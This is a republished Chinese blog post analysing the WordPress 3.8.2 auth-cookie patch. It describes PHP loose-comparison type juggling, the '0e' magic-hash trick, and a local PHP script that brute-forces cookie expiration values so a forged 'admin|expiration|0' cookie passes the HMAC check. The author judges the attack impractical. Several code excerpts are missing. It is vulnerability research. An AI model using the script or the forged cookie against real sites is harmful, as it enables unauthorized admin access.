WordPress 3.8.2 cookie伪造漏洞再分析

admin 2021年4月2日20:02:47评论42 views字数 687阅读2分17秒阅读模式

0x00 背景

看了WordPress 3.8.2补丁分析 HMAC timing attack,眼界大开,原来还可以利用时间差来判断HMAC。

但我总觉得这个漏洞并不是简单的修复这个问题。

查看了官方提供的资料:“该漏洞是由WordPress的安全团队成员Jon Cave发现。”。

也许漏洞还有这样利用的可能。

0x01 PHP的特性

当PHP在进行 ”==”,”!=”等非严格匹配的情况下,会按照值的实际情况,进行强制转换。


当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。

0x02 分析修复的代码

官方版的diff只在php里改动了一个位置:


其中$hmac来源于cookies。是我们可控的一个输入参数。


$hash是以下代码生成一个md5值。


$hmac == $hash 时,登录成功。

那么,有几种情况会登录成功。


很明显,第三种出现的情况非常大。

那么我们有没有可能把$hmac构造成一个整数0呢?

0x03 漏洞利用

我们看看cookie解析的代码:


当我们把cookie设置为:

Admin|1397564163|1 

时。$hmac=’1’。但是,$hmac是字符串1,而不是整数1。


非常遗憾,这个漏洞是不能利用的。

难道官方修复的真的不是这个漏洞?

0x04 柳暗花明又一村

还有什么情况能让字符串识别成整数吗?是的,还有!


‘e’会识别为次方,0的N次方为0;

所以,这个漏洞的利用方式还可以是:
让$hmac = ‘0’;

通过改变$expiration来改变$hash。获得一个,第一位为0,第二位为e,后面所有位为数字的$hash.


0x05 攻击代码

本地测试代码(实际攻击代码应该是构造cookies远程请求):

user_login;
    $pass_frag = substr($user->user_pass, 8, 4);

    $expiration = 9999999999; //设置一个很大的过期时间,然后递减

    while($expiration >0){
        $key = wp_hash($username . $pass_frag . '|' . $expiration, 'auth');
        $hash = hash_hmac('md5', $username . '|' . $expiration, $key);
        if('0' == $hash OR '1'== $hash ){
            echo $expiration.'@'.$hash;
            file_put_contents('done.txt',$expiration.'@'.$hash);
            exit();
        }
        $expiration -= 1;//过期时间-1
        echo $expiration.'@'.$hash."rn";
    }
?>

通过改变过期时间,尝试碰撞到可以利用的hash。

按照理论值。碰撞到可以利用的$expiration几率是(2110^30)/(16^32)。也就是5.8774717541114 * 10 -9。

理论上:把cookies设置成 “admin|碰撞到的过期时间|0”,就可以登陆后台了。

但是几率太小,还不如穷举密码了。

Ps:我本地跑了几个小时了,还没遇到一个。

[原文地址]

相关内容:

WordPress 更新至 3.8.2 修复多个漏洞

WordPress 3.8.2 补丁分析 HMAC timing attack

WordPress 3.8.2 cookie伪造漏洞再分析

文章来源于lcx.cc:WordPress 3.8.2 cookie伪造漏洞再分析

相关推荐: xss玩转第三方微信公众平台的姿势!

xss玩转第三方微信公众平台的姿势! 苦战 | 2014-01-20 09:47 昨晚躺床上突然想到的 既然有基友玩微信注入,那是不是微信也能玩XSS,就有了这个姿势~ 首先见框就插! 正好这个第三方微信公众平台是之前网上卖得比较火的,还挺贵 具体名字就不说了…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月2日20:02:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WordPress 3.8.2 cookie伪造漏洞再分析https://cn-sec.com/archives/316971.html

发表评论

匿名网友 填写信息